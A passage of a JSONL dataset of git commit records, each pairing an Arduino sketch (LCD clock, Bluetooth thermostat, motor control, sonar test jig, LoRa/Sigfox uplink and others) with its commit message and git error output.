ShowLEDs.ino","repos":"ht-deko\/microbit_Screen","old_file":"examples\/ShowLEDs\/ShowLEDs.ino","new_file":"examples\/ShowLEDs\/ShowLEDs.ino","new_contents":"#include \"microbit_Screen.h\"\n\nvoid setup() {\n SCREEN.begin();\n}\n\nvoid loop() {\n SCREEN.showLeds((String)\n \"#...#\" + \n \".#.#.\" + \n \".....\" + \n \".#.#.\" + \n \"#...#\"\n );\n SCREEN.showLeds((String)\n \"..#..\" + \n \"..#..\" + \n \"##.##\" + \n \"..#..\" + \n \"..#..\"\n );\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ShowLEDs\/ShowLEDs.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f95d26295650d1a209c614737ce3d9a2b9d3d575","subject":"Created simple program to sync clock to a hard-coded time when I hit the \"select\" button on the LCD board. Not a super awesome program, and there are better examples that use the serial console in the Time module examples. But this was easy.","message":"Created simple program to sync clock to a hard-coded time when I hit the \"select\" button on the LCD board. Not a super awesome program, and there are better examples that use the serial console in the Time module examples. But this was easy.\n","repos":"dannysauer\/misc_arduino","old_file":"RTC_set\/RTC_set.ino","new_file":"RTC_set\/RTC_set.ino","new_contents":"\/*\n * Lee's retirement countdown clock\n *\n * I'm using a SainSmart LCD shield with an Uno, and a DS1370 RTC to make it accurate\n *\n * Links to the Amazon items I used:\n * http:\/\/www.amazon.com\/gp\/product\/B0076FWAH8\n * http:\/\/www.amazon.com\/gp\/product\/B00LZCTMJM\n *\/\n\n\/* \n set up for the RTC\n Libraries used are at\n http:\/\/www.pjrc.com\/teensy\/td_libs_Time.html\n http:\/\/www.pjrc.com\/teensy\/td_libs_DS1307RTC.html\n as referenced by http:\/\/playground.arduino.cc\/Code\/Time\n*\/\n#include <Wire.h>\n#include <DS1307RTC.h>\n#include <Time.h>\n#include <TimeLib.h>\n\ntmElements_t tm;\n\n\/*\n Set up for the LCD\n*\/\n#include <LiquidCrystal.h>\nLiquidCrystal lcd(\n 8, \/\/ RS\n 9, \/\/ Enable\n 4, \/\/ bit 4\n 5, \/\/ bit 5\n 6, \/\/ bit 6\n 7 \/\/ bit 7\n);\n\n#define PinBacklight 10\n#define PinButton 0\n\n\/\/ define some values used by the panel and buttons\nint lcd_key = 0;\nint adc_key_in = 0;\n#define btnRIGHT 0\n#define btnUP 1\n#define btnDOWN 2\n#define btnLEFT 3\n#define btnSELECT 4\n#define btnNONE 5\n\nString line1 = \"\";\nString line2 = \"\";\nString secs;\nString key;\n\n#define BrightMax 255\n#define BrightMin 0\nint brightness_increment = -2;\nint brightness = BrightMax;\n\n\/\/ read the buttons\nint read_LCD_buttons()\n{\n adc_key_in = analogRead(PinButton); \/\/ read the value from the sensor \n \/\/ example buttons when read are centered at these valies: 0, 144, 329, 504, 741\n \/\/ values measured in Lee's display: 0, 143, 328, 503, 741 (really close to the author's, apparently)\n \/\/ I add half the distance to the next button to allow for as much variance as is reasonably likely\n \/\/\n \/\/ I picked 1000 as the top cutoff mostly arbitrarily; ~1024 is the select, due to being \"infinite\"\n \/\/ I suppose the \"right\" way would be to do 741+(1024-741\/2) to be consistent\n if (adc_key_in > 1000) return btnNONE; \/\/ We make this the 1st option for speed reasons since it will be the most likely result\n if (adc_key_in < (0 + (143 - 0) \/ 2 )) return btnRIGHT; \n if (adc_key_in < (143 + (328 - 143) \/ 2 )) return btnUP; \n if (adc_key_in < (328 + (503 - 328) \/ 2 )) return btnDOWN; \n if (adc_key_in < (503 + (741 - 503) \/ 2 )) return btnLEFT; \n if (adc_key_in <= 1000) return btnSELECT; \n return btnNONE; \/\/ when all others fail, return this...\n}\n\ntime_t initial_time;\n\nvoid setup() {\n \/\/ define PWM brightness pin for output\n pinMode(PinBacklight, OUTPUT);\n \/\/ set up the LCD's number of columns and rows:\n lcd.begin(16, 2);\n lcd.clear();\n tmElements_t t;\n \/\/ set time to 9:45 PM on Feb 24, 2016.\n t.Second = 0;\n t.Minute = 45;\n t.Hour = 21;\n t.Day = 24;\n t.Month = 2;\n t.Year = 116;\n initial_time = makeTime(t);\n}\n\nvoid loop() {\n lcd_key = read_LCD_buttons();\n switch (lcd_key){\n case btnSELECT: {\n key = \"SELECT\";\n RTC.set(initial_time);\n key = \"Time set!\";\n break;\n }\n }\n\n \/\/ assemble LCD line\n line1 = \"\";\n line1 = \"ADC:\" + String(adc_key_in);\n while( line1.length() < 16 - key.length() ){\n line1 = line1 + \" \";\n }\n line1 = line1 + key;\n lcd.setCursor(0,0);\n lcd.print(line1);\n\n \/\/ assemble second LCD line\n line2 = \"\";\n secs = String(millis()\/1000);\n if(RTC.read(tm)){\n secs = \"ok!\" + String(tm.Second);\n }\n while( line2.length() < 16 - secs.length() ){\n line2 = line2 + \" \";\n }\n line2 = line2 + secs;\n lcd.setCursor(0,1);\n lcd.print(line2);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RTC_set\/RTC_set.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"09afba32180d6e61c75c5aeba5b4bfd811fe8057","subject":"travis, constructing the TERRIFYING TENTACLE for particle","message":"travis, constructing the TERRIFYING TENTACLE for particle\n","repos":"octoblu\/tentacle-dist-l3d,octoblu\/tentacle-dist-particle","old_file":"examples\/tentacle-particle\/tentacle-particle.ino","new_file":"examples\/tentacle-particle\/tentacle-particle.ino","new_contents":"#include <SPI.h>\n\n#include \"tentacle-build.h\"\n\n#define conn Serial\n\nTentacleArduino tentacle;\nPseudopod pseudopod(conn, conn, tentacle);\n\nvoid setup() {\n Serial.begin(57600);\n}\n\nvoid loop() {\n readData();\n\n if(!pseudopod.isConfigured()) {\n delay(100);\n pseudopod.requestConfiguration();\n }\n\n if(pseudopod.shouldBroadcastPins() ) {\n delay(pseudopod.getBroadcastInterval());\n pseudopod.sendConfiguredPins();\n }\n}\n\nvoid readData() {\n while (conn.available()) {\n if(pseudopod.readMessage() == TentacleMessageTopic_action) {\n pseudopod.sendPins();\n }\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/tentacle-particle\/tentacle-particle.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"54c3a2f7a7c5b0fb094d757bc5a0b2c33277bb47","subject":"Basic RX Testing","message":"Basic RX Testing\n","repos":"fantawttw\/Arduino-Caravan-Thermostat,fantawttw\/Arduino-Caravan-Thermostat","old_file":"Caravan_Thermostat_RX\/Caravan_Thermostat_RX.ino","new_file":"Caravan_Thermostat_RX\/Caravan_Thermostat_RX.ino","new_contents":"\/*\n\n Caravan Thermostat RX\n\n Copyright 2016 Jon Burrows\n\n*\/\n\n\/\/ Setup the includes\n#include <SPI.h>\n#include <SoftwareSerial.h>\n\n\/\/ Define the pins.\n\/\/ BLE\n\n#define BLERXPIN 2\n#define BLETXPIN 3\n\n\/\/ Create instances\nSoftwareSerial BTserial(BLERXPIN, BLETXPIN); \/\/ RX, TX\n\n\/\/ Define Global Variables\n\nvoid setup() {\n Serial.begin(9600);\nSerial.println(\"Enter AT commands:\");\n BTserial.begin(9600);\n at(\"AT+NAMECaravanRX\");\n \/\/at(\"AT+CON0015830084F7\"); \/\/Connect to Master Arduino\n at(\"AT+ROLE0\");\n at(\"AT+RESET\");\n \n \/\/ Master Address 00:15:83:00:84:F7\n \/\/ Slave Address 00:15:83:00:83:EE\n delay(1000); \/\/ wait a bit, NECESSARY!!\n}\n\nvoid loop() {\n \/\/ Keep reading from HC-06 and send to Arduino Serial Monitor\n if (BTserial.available())\n { \n Serial.write(BTserial.read());\n }\n \n \/\/ Keep reading from Arduino Serial Monitor and send to HC-06\n if (Serial.available())\n {\n BTserial.write(Serial.read());\n }\n}\n\nvoid at(char* cmd) {\n BTserial.write(cmd);\n BTserial.write(\"\\r\\n\");\n Serial.print(cmd);\n while(!BTserial.find(\"OK\")) Serial.print(\".\");\n \n Serial.println(\" .. OK\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Caravan_Thermostat_RX\/Caravan_Thermostat_RX.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5ed7a4d6b41f4c114095918e56cc974238495468","subject":"RFduino saves calibration data to Flash memory","message":"RFduino saves calibration data to Flash memory\n","repos":"Ossit\/SenseBack","old_file":"RFduino\/SenseBack_RFduino\/SenseBack_RFduino.ino","new_file":"RFduino\/SenseBack_RFduino\/SenseBack_RFduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Ossit\/SenseBack.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cc47529dc9dec89b8405ef485958e7592b60a517","subject":"Training Sketch Added","message":"Training Sketch Added\n","repos":"arjo129\/uSpeech,arjo129\/uSpeech","old_file":"tools\/examples\/word_training\/word_training.ino","new_file":"tools\/examples\/word_training\/word_training.ino","new_contents":"\/**Basic training\n*P gives a matrix for recognizing the phoneme\n*I advice you use the uspeech library along with gaussian\n*modelling toolkit this will allow yout to use the library\n*for picking up sound\n*\/\n#include <uspeech.h>\nint t;\nuspeech recognizer(A0);\nuword words;\nbool printed= true;\nvoid setup(){\n Serial.begin(9600);\n recognizer.calibrate();\n}\nvoid loop(){\n phoneme p= recognizer.get();\n if(p.loudness()>3){\n words.attachPhoneme(p);\n printed = false;\n }\n else{\n if(t == 0){\n t =millis();\n }\n if(millis()-t>500){\n t = 0;\n if(!printed){\n if(words.confidence()>60){\n words.debugPrint();\n words.reset();\n printed = true;\n }\n printed = true;\n }\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tools\/examples\/word_training\/word_training.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a66572583d66c0802ea0bcef6544ff0d5bcac848","subject":"we have to wait until stall guard is read \u2026","message":"we have to wait until stall guard is read \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"Arduino Tests\/StallGuardTest\/SGHome.ino","new_file":"Arduino Tests\/StallGuardTest\/SGHome.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"7548341eccba74d69b672a2314217e44bdc56360","subject":"Add remotexy first test","message":"Add remotexy first test\n","repos":"chapellu\/pekee2.0,chapellu\/pekee2.0,chapellu\/pekee2.0,chapellu\/pekee2.0","old_file":"Arduino\/test_remotexy\/test_remotexy.ino","new_file":"Arduino\/test_remotexy\/test_remotexy.ino","new_contents":"\/* \n -- New project -- \n \n This source code of graphical user interface \n has been generated automatically by RemoteXY editor. \n To compile this code using RemoteXY library 2.3.3 or later version \n download by link http:\/\/remotexy.com\/en\/library\/ \n To connect using RemoteXY mobile app by link http:\/\/remotexy.com\/en\/download\/ \n - for ANDROID 4.1.1 or later version; \n - for iOS 1.2.1 or later version; \n \n This source code is free software; you can redistribute it and\/or \n modify it under the terms of the GNU Lesser General Public \n License as published by the Free Software Foundation; either \n version 2.1 of the License, or (at your option) any later version. \n*\/ \n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \n\/\/ RemoteXY include library \/\/ \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \n\n\/\/ RemoteXY select connection mode and include library \n#define REMOTEXY_MODE__SOFTSERIAL\n#include <SoftwareSerial.h> \n\n#include <RemoteXY.h> \n\n\/\/ RemoteXY connection settings \n#define REMOTEXY_SERIAL_RX 2 \n#define REMOTEXY_SERIAL_TX 3 \n#define REMOTEXY_SERIAL_SPEED 9600 \n\n\n\/\/ RemoteXY configurate \n#pragma pack(push, 1) \nuint8_t RemoteXY_CONF[] = \n { 255,4,0,0,0,43,0,8,13,0,\n 1,1,43,18,12,12,2,31,88,0,\n 1,1,29,27,12,12,2,31,88,0,\n 1,1,43,36,12,12,2,31,88,0,\n 1,1,57,27,12,12,2,31,88,0 }; \n \n\/\/ this structure defines all the variables of your control interface \nstruct { \n\n \/\/ input variable\n uint8_t button_1; \/\/ =1 if button pressed, else =0 \n uint8_t button_2; \/\/ =1 if button pressed, else =0 \n uint8_t button_3; \/\/ =1 if button pressed, else =0 \n uint8_t button_4; \/\/ =1 if button pressed, else =0 \n\n \/\/ other variable\n uint8_t connect_flag; \/\/ =1 if wire connected, else =0 \n\n} RemoteXY; \n#pragma pack(pop) \n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \n\/\/ END RemoteXY include \/\/ \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ \n\n#define PIN_BUTTON_1 13\n\n\nvoid setup() \n{ \n RemoteXY_Init (); \n \n pinMode (PIN_BUTTON_1, OUTPUT);\n \n \/\/ TODO you setup code \n \n} \n\nvoid loop() \n{ \n RemoteXY_Handler (); \n \n digitalWrite(PIN_BUTTON_1, (RemoteXY.button_1==0)?LOW:HIGH);\n \n \/\/ TODO you loop code \n \/\/ use the RemoteXY structure for data transfer \n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/test_remotexy\/test_remotexy.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d17b11b1a665add28fef7835bb52ae9732f52bbb","subject":"Update Line_sensor.ino","message":"Update Line_sensor.ino\n\nFixed incorrect comment.","repos":"billdwp\/arduino_sbs,futureshocked\/arduino_sbs,billdwp\/arduino_sbs,futureshocked\/arduino_sbs,iNNPL\/arduino_sbs,merbok\/arduino_sbs,iNNPL\/arduino_sbs,merbok\/arduino_sbs,futureshocked\/arduino_sbs","old_file":"Line sensor\/Line_sensor\/Line_sensor.ino","new_file":"Line sensor\/Line_sensor\/Line_sensor.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Line' did not match any file(s) known to git\nerror: pathspec 'sensor\/Line_sensor\/Line_sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dd88a78a9d598d8b5135d1f128dfb7822ae41c52","subject":"Sample Code to Run the Motors","message":"Sample Code to Run the Motors\n","repos":"buuav\/hackathon1","old_file":"Running_Motors\/Running_Motors.ino","new_file":"Running_Motors\/Running_Motors.ino","new_contents":"\/\/ This script is sample code that initializes your motors and runs them. \n\/\/ Much of this code takes more steps than necessary in order to outline what is happening,\n\/\/ as you become more familiar coding Arduino scripts, your code will be a lot more \n\/\/ concise.\n\n\/\/ create the variables that defines which pins the motors are connected to\nconst int leftMotorPins = {4, 5, 6}; \nconst int rightMotorPins = {7, 8, 9}; \n\n\/\/----------\/\/\n\/\/ This is the set-up for all of the pins you are using on the Arduino\n\/\/ This section only runs once each time you begin the script\nvoid setup() {\n \n\/\/ set all the motor pins as OUTPUT pins\nfor (int i = 0; i < 3; i++) {\n pinMode(leftMotorPins[i], OUTPUT); \/\/ for loop goes through the index and sets as HIGH\n pinMode(rightMotorPins[i], OUTPUT); \/\/ for loop goes through the index and sets as HIGH\n}\n\n\/\/ this sets A0 and B0 to HIGH and A1 and B1 to LOW output on each motor\n\/\/ this will determine the direction that the motors turn\n\/\/ switch HIGH and LOW to go in the other direction\ndigitalWrite(leftMotorPins[0], HIGH);\ndigitalWrite(rightMotorPins[0], HIGH);\ndigitalWrite(leftMotorPins[1], LOW);\ndigitalWrite(rightMotorPins[1], LOW);\n}\n\n\n\/\/----------\/\/\n\/\/This is the main section of your code, it repeatedly loops through.\nvoid loop() {\n\n \/\/ this tells the motors to run (default value is 100), change this and see what happens.\n analogWrite(leftMotorPins[2], 100); \n analogWrite(rightMotorPins[2], 100); \n delay(20) \/\/ this delay is necessary to give it a little more time to move and process.\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Running_Motors\/Running_Motors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"07f6442d9a6c02818e5e96ab3c42c6e2e59a730b","subject":"Multiple features added, see description","message":"Multiple features added, see description\n\nAdded ARM-Switch for arming the throttle\nAdded conversion from RAW input to percentage (0-100% and (-)100%-100%)\n","repos":"simonlovgren\/Arduino-Flight-TX","old_file":"flight_controller_tx.ino","new_file":"flight_controller_tx.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/simonlovgren\/Arduino-Flight-TX.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5194df80d318018dfad9e77cfac28f65d41a6660","subject":"add network_uplink exemple","message":"add network_uplink exemple\n","repos":"atim-radiocommunications\/armapi,atim-radiocommunications\/armapi,atim-radiocommunications\/armapi","old_file":"exemples\/arduino\/network_uplink\/network_uplink.ino","new_file":"exemples\/arduino\/network_uplink\/network_uplink.ino","new_contents":"\/\/ ---------------------------------------------------------------------\n\/\/ This file is a example for use the library armapi with\n\/\/ ARM NANO (NANO_LP with sigfox) on arduino board.\n\/\/\n\/\/ This software send periodically 'Hello world' to Sigfox network or \n\/\/ Lora network. The choice of the network is automatically choose by\n\/\/ the shield plugged on the Arduino.\n\/\/\n\/\/ Created date: 13.04.2016\n\/\/ ---------------------------------------------------------------------\n\n\/***********************************************************************\n\n Copyright (c) 2016 ATIM\n\n\n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n\n***********************************************************************\/\n\n\/\/ ---------------------------------------------------------------------\n\/\/ Include\n\/\/ ---------------------------------------------------------------------\n#include <arm.h>\n\n\/\/ ---------------------------------------------------------------------\n\/\/ Define\n\/\/ ---------------------------------------------------------------------\n#define LED 13\n\n\/\/ ---------------------------------------------------------------------\n\/\/ Global variables\n\/\/ ---------------------------------------------------------------------\n\/\/Instance of the class Arm\nArm myArm;\n\/\/The message to send at Sigfox or Lora\nuint8_t msg[] = \"Hello world!\";\n\n\/\/ ---------------------------------------------------------------------\n\/\/ Implemented functions\n\/\/ ---------------------------------------------------------------------\n\nvoid setup()\n{\n\t\/\/Init Led for chow error\n\tpinMode(LED, OUTPUT);\n\tdigitalWrite(LED, LOW);\n\t\n\t\/\/Init Arm and set LED to on if error\n\tif (myArm.Init(&Serial) != ARM_ERR_NONE)\n\t\tdigitalWrite(LED, HIGH);\n\t\t\n\t\/\/Get the Arm type\n\tarmType_t armType;\n\tmyArm.Info(&armType, 0, 0, 0, 0);\n\t\n\t\/\/Set Lora mode or Sigfox mode\n\tif(armType == ARM_TYPE_N8_LW)\n\t\tmyArm.SetMode(ARM_MODE_LORAWAN);\n\telse\n\t\tmyArm.SetMode(ARM_MODE_SFX);\n\t\n\t\/\/Set Sigfox mode in uplink.\n\tmyArm.SfxEnableDownlink(false);\n\t\n\t\/\/Set Lora mode in uplink.\n\tmyArm.LwSetConfirmedFrame(5);\n myArm.LwEnableOtaa(false);\n myArm.LwEnableRxWindows(true);\n myArm.LwEnableTxAdaptiveSpeed(true);\n myArm.LwEnableDutyCycle(false);\n myArm.LwEnableTxAdaptiveChannel(true);\n myArm.LwEnableRx2Adaptive(true);\n \n \/\/Update the configuration into the arm.\n\tmyArm.UpdateConfig();\n}\n\nvoid loop()\n{\n\tunsigned int i;\n\t\n\t\/\/Send the message to Sigfox or Lora\n\tmyArm.Send(msg, sizeof(msg)-1);\n\t\n\t\/\/Wait 360min\n\tfor(i=0; i<360; i++)\n\t\tdelay(60000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'exemples\/arduino\/network_uplink\/network_uplink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"903e9c96454d0e6f52d4528f5967c4e19c9115e2","subject":"added octosonar_bench.ino","message":"added octosonar_bench.ino\n\nThis is example is what I use to drive the bench test for new boards.\n\nThe jig is made of two V2.1 boards that had bad silkscreen and\npogo-pins. The lower board has a PCF8574 at 0x20 so it can spy on the\nTRIG signals being sent to the test board. The echo pins are driven from\narduino digital pins.\n\nI ran into horrible problems writing things to the test board and\nconsistently seeing the result when read back from the jig. At first I\nthought it might be a pullup resistor issue, but finally I isolated it\nto some kind of timing issue and\/or interaction with Serial or some othe\nrinternal arduino interrupts.\n\nSo with all the debug chatter commented out, it gets all the way through\nand gives me a green. Actual boards mounted in actual projects seem to\nwork fine, so this may just be some wierd interaction specific to the\ntest jig.\n","repos":"arielnh56\/OctoSonar","old_file":"examples\/octosonar_bench\/octosonar_bench.ino","new_file":"examples\/octosonar_bench\/octosonar_bench.ino","new_contents":"\/* bench test for Octosonar V2.x\n for use with test jig on new boards\n\n (c) Alastair Young 2017\n*\/\n\n#include <Wire.h>\n\n#define JIGADDR 0x20\n#define OCTO_ADDR 0x38\n#define GREEN_LED 13\n#define RED_LED 12\n#define INT_PIN 11\n#define DEBUG_PIN 10\n#define debug(thing) if (digitalRead(DEBUG_PIN) == LOW) {Serial.print(thing);}\n#define debugln(thing) if (digitalRead(DEBUG_PIN) == LOW) {Serial.println(thing); delay(50);}\n#define debugln2(thing,format) if (digitalRead(DEBUG_PIN) == LOW) {Serial.println(thing, format); delay(50);}\n\/\/ debug serial chatter all commented out because it seems to interfere with I2C on the jig. Wierd.\n\nuint8_t echoPin[8] = { 2, 3, 4, 5, A0, A1, A2, A3 };\nvoid setup() {\n uint8_t i;\n Serial.begin(9600);\n Wire.begin();\n for (i = 0; i <= 7; i++) {\n pinMode(echoPin[i], OUTPUT);\n digitalWrite(echoPin[i], LOW);\n }\n\n pinMode(GREEN_LED, OUTPUT);\n digitalWrite(GREEN_LED, HIGH);\n pinMode(RED_LED, OUTPUT);\n digitalWrite(RED_LED, HIGH);\n pinMode(DEBUG_PIN, INPUT_PULLUP);\n\n byte error = 1;\n Serial.println(\"Looking for test jig\");\n while (error != 0) {\n Wire.beginTransmission(JIGADDR);\n error = Wire.endTransmission();\n }\n Serial.println(\"Found test jig\");\n Wire.beginTransmission(JIGADDR);\n Wire.write(0xff); \/\/ for read\n error = Wire.endTransmission(true);\n if ( error ) {\n Serial.print(\"Failed to write to jig error = \");\n Serial.println(error);\n digitalWrite(RED_LED, HIGH);\n while (true) {};\n }\n Wire.requestFrom(JIGADDR, 1);\n Wire.read(); \/\/ set to read mode\n error = Wire.endTransmission(true);\n if ( error ) {\n Serial.print(\"Failed to read from jig error = \");\n Serial.println(error);\n digitalWrite(RED_LED, HIGH);\n while (true) {};\n }\n Wire.requestFrom(JIGADDR, 1);\n Wire.read(); \/\/ set to read mode\n Wire.endTransmission();\n\n}\nvoid loop() {\n byte i;\n byte retVal;\n byte error = 1;\n \/\/ keep last status 5s before start again\n delay(5000);\n digitalWrite(GREEN_LED, LOW);\n digitalWrite(RED_LED, HIGH);\n Serial.println(\"Looking for OctoSonar\");\n while (error != 0) {\n Wire.beginTransmission(OCTO_ADDR);\n error = Wire.endTransmission();\n }\n Serial.println(\"Found OctoSonar\");\n digitalWrite(RED_LED, LOW);\n \/\/ wait 1s for good pogopin press\n delay(1000);\n\n \/\/ set all TRIGs high\n \/\/ debugln(\"Set all trigs high\");\n Wire.beginTransmission(OCTO_ADDR);\n Wire.write(0xff);\n error = Wire.endTransmission(true);\n if ( error ) {\n Serial.print(\"Failed to write to OctoSonar error = \");\n Serial.println(error);\n digitalWrite(RED_LED, HIGH);\n return;\n }\n \/\/read them back\n Wire.requestFrom(JIGADDR, 1);\n retVal = Wire.read();\n Wire.endTransmission();\n\n if (retVal != 0xff) {\n Serial.print(\"Error 2 - I see trigs \");\n Serial.println(retVal, HEX);\n digitalWrite(RED_LED, HIGH);\n return;\n }\n \/\/ debugln(\"Trigs all look high\");\n\n \/\/ set all echos high\n for (i = 0; i <= 7; i++) {\n digitalWrite(echoPin[i], HIGH);\n }\n\n \/\/ trigs are high, INT should be low from pulldown\n if (digitalRead(INT_PIN) == HIGH) {\n Serial.println(\"Error: INT is high on idle\");\n digitalWrite(RED_LED, HIGH);\n return;\n }\n\n for (byte port = 0; port <= 7; port++) {\n byte portByte = ~(1 << port);\n \/\/ debug(\"Checking port \");\n \/\/ debugln(port);\n \/\/ debug(\"portByte \");\n \/\/ debugln2(portByte, HEX);\n \/\/ set all echos high\n for (i = 0; i <= 7; i++) {\n digitalWrite(echoPin[i], HIGH);\n }\n \/\/ enable the port\n\n Wire.beginTransmission(OCTO_ADDR);\n Wire.write(portByte);\n error = Wire.endTransmission(true);\n if ( error ) {\n Serial.print(\"Failed to write to OctoSonar error = \");\n Serial.println(error);\n digitalWrite(RED_LED, HIGH);\n return;\n }\n \/\/ debug(\"sent portByte \");\n \/\/ debugln2(portByte, HEX);\n \/\/read them back\n Wire.requestFrom(JIGADDR, 1);\n retVal = Wire.read();\n error = Wire.endTransmission(true);\n if ( error ) {\n Serial.print(\"Failed to read from jig error = \");\n Serial.println(error);\n digitalWrite(RED_LED, HIGH);\n return;\n }\n if (retVal != portByte) {\n Serial.print(\"Error 1 - I see trigs \");\n Serial.println(retVal, HEX);\n digitalWrite(RED_LED, HIGH);\n return;\n }\n \/\/ debug(\"trigs \");\n \/\/ debugln2(retVal, HEX);\n\n \/\/ check the pin val - should be high\n if (digitalRead(INT_PIN) == LOW) {\n Serial.println(\"Error: INT is low when echo is high\");\n digitalWrite(RED_LED, HIGH);\n return;\n }\n \/\/ debugln(\"High gives high\");\n\n \/\/ drop the other trigs - should have no effect\n for (i = 0; i <= 7; i++) {\n if (i == port) continue; \/\/ skip self\n digitalWrite(echoPin[i], LOW);\n \/\/read them back\n Wire.requestFrom(JIGADDR, 1);\n retVal = Wire.read();\n error = Wire.endTransmission(true);\n if ( error ) {\n Serial.print(\"Failed to read from jig error = \");\n Serial.println(error);\n digitalWrite(RED_LED, HIGH);\n return;\n }\n if (retVal != portByte) {\n Serial.print(\"Error 3 - I see trigs \");\n Serial.println(retVal, HEX);\n digitalWrite(RED_LED, HIGH);\n return;\n }\n if (digitalRead(INT_PIN) == LOW) {\n Serial.print(\"Error: INT goes low with pin \");\n Serial.println(i);\n Wire.requestFrom(JIGADDR, 1);\n Serial.println(Wire.read(), HEX);\n error = Wire.endTransmission(true);\n if ( error ) {\n Serial.print(\"Failed to read from jig error = \");\n Serial.println(error);\n digitalWrite(RED_LED, HIGH);\n return;\n }\n\n digitalWrite(RED_LED, HIGH);\n return;\n }\n \/\/ debug(\"INT ok with low pin \");\n \/\/ debugln(i);\n }\n \/\/ debugln(\"No interference from other echoes\");\n\n \/\/ drop self\n digitalWrite(echoPin[port], LOW);\n if (digitalRead(INT_PIN) == HIGH) {\n Serial.println(\"Error: INT is high when echo is low\");\n digitalWrite(RED_LED, HIGH);\n return;\n }\n \/\/ debugln(\"Low gives low\");\n }\n\n \/\/ if we got here, we passed\n Serial.println(\"PASS\");\n digitalWrite(GREEN_LED, HIGH);\n digitalWrite(RED_LED, LOW);\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/octosonar_bench\/octosonar_bench.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"23e00fbd3fd7da4634375851094bacaa6a04fe62","subject":"arudino sketch to test the delay of a tv\/screen using a zapper","message":"arudino sketch to test the delay of a tv\/screen using a zapper\n","repos":"beardypig\/zapper-experiments","old_file":"arduino\/zapper_delay_test\/zapper_delay_test.ino","new_file":"arduino\/zapper_delay_test\/zapper_delay_test.ino","new_contents":"#include <TVout.h>\n#include <video_gen.h>\n#include <font6x8.h>\n\n#define TRIGGER_PIN 3\n#define DETECT_PIN 2\n#define DELAY_TIMEOUT 50\n\nvolatile int trigger_state = LOW;\nvolatile int detect_state = LOW;\nvolatile int vblank = 0;\n\nTVout TV;\n\nvoid setup() {\n attachInterrupt(digitalPinToInterrupt(TRIGGER_PIN), trigger_handle, FALLING);\n attachInterrupt(digitalPinToInterrupt(DETECT_PIN), detect_handle, RISING);\n\n TV.begin(PAL, 120, 96);\n 